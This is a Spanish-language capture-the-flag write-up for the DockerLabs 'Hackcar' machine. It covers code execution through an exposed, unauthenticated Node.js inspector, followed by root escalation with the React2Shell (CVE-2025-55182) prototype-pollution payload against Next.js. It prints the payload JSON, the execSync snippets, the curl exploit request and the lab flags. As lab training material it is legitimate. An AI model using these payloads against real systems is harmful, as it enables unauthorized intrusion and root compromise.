
Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
Plataforma: DockerLabs Dificultad: Media (más o menos, tiene su miga) Objetivo: De
webuserarootrompiendo una Next.js
Como siempre, primero lo primero: ver qué tenemos delante.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Espera... ¿9229? Ese puerto no es normal. Y un escaneo completo confirma que solo hay dos puertos:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
El 9229 es el típico puerto del . Si está expuesto sin protección, es básicamente una puerta abierta a ejecución de código. Vamos a comprobarlo.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Chingo. El debugger de Node está expuesto, sin autenticar, y encima nos dice dónde vive la app. Esto es RCE directo.
Con el debugger expuesto solo necesitamos conectarnos al WebSocket y usar Runtime.evaluate para ejecutar lo que nos dé la gana dentro del proceso de Node.
Me hice un script rápido en Python que saca la URL del debugger y ejecuta comandos con process.mainModule.require('child_process').execSync():
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
Para no pelearme con comillas, todo el comando lo mando en base64 y lo decodifico dentro del propio proceso. Primer test:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE como webuser. La máquina la tenemos en la mano... o eso creía. Resulta que lo bueno estaba más escondido.
Miremos los procesos para ver qué más corre en la máquina:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
¡Ojo al dato! Hay una Next.js versión 15.0.0-rc.1 corriendo como ROOT en el puerto 3000 (solo localhost). Eso huele a privilegio... y a CVE.
Como solo escucha en 127.0.0.1 dentro del container, no podemos tocarla desde fuera. Pero tenemos RCE, así que podemos entrar desde dentro. Primero veamos qué es:
curl -s http://127.0.0.1:3000/
Aparece un "Internal Administration Portal" — un portal interno de administración. Todo muy apetitoso.
La flag de user la encontramos rápido:
DL{g2QrDUvg3HiqaWeZBbZa}
Y ahora toca escalar a root a través de esa Next.js.
La versión es Next.js 15.0.0-rc.1, que usa React 19 vulnerable al famoso React2Shell (CVE-2025-55182): un RCE crítico (CVSS 10.0) por prototype pollution en el parser RSC (React Server Components / Flight protocol).
El exploit es un multipart/form-data malformado con el header Next-Action, que hace que el parser de React deserialice un objeto envenenado que acaba llamando al Function constructor con nuestro código:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CÓDIGO JS A EJECUTAR>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
O sea: se envenena Chunk.prototype.then, el parser carga nuestro modelo, y al resolver la promesa se ejecuta nuestro JavaScript en el proceso de Next.js, que corre como root.
Para sacar el output usé el modo "redirect": el código ejecuta el comando, hace base64 del resultado y lo mete en la propiedad digest de un Error, que Next.js devuelve como header:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
La petición final:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
El servidor responde 500 (es normal, es un error a propósito) y en el header:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
Decodificamos:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
SOMOS ROOT. Y la flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, estática, puro humo)
└─ 9229 (Node.js inspector EXPUESTO)
└─ RCE como webuser via Runtime.evaluate
└─ Enumeración: Next.js 15.0.0-rc.1 en 127.0.0.1:3000 como ROOT
└─ CVE-2025-55182 (React2Shell): RCE root
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| Archivo | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Vulnerabilidad | CWE | Qué nos dio |
|---|---|---|---|
| 1 | Node.js inspector sin autenticar (puerto 9229) | CWE-284 | RCE como webuser |
| 2 | Next.js 15.0.0-rc.1 desactualizada (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE como root |
Lecciones:
| Herramienta | Uso |
|---|---|
nmap | Reconocimiento de puertos |
curl | Enumeración web y disparar el exploit |
websocket-client (Python) | Hablar con el inspector de Node |
jadx | La máquina anterior (no aquí, pero me sigue pareciendo bonito) |
base64 | Transportar payloads sin líos con comillas |
Writeup con fines educativos. Solo tocar máquinas donde tienes autorización (DockerLabs, HTB, tu propio laboratorio).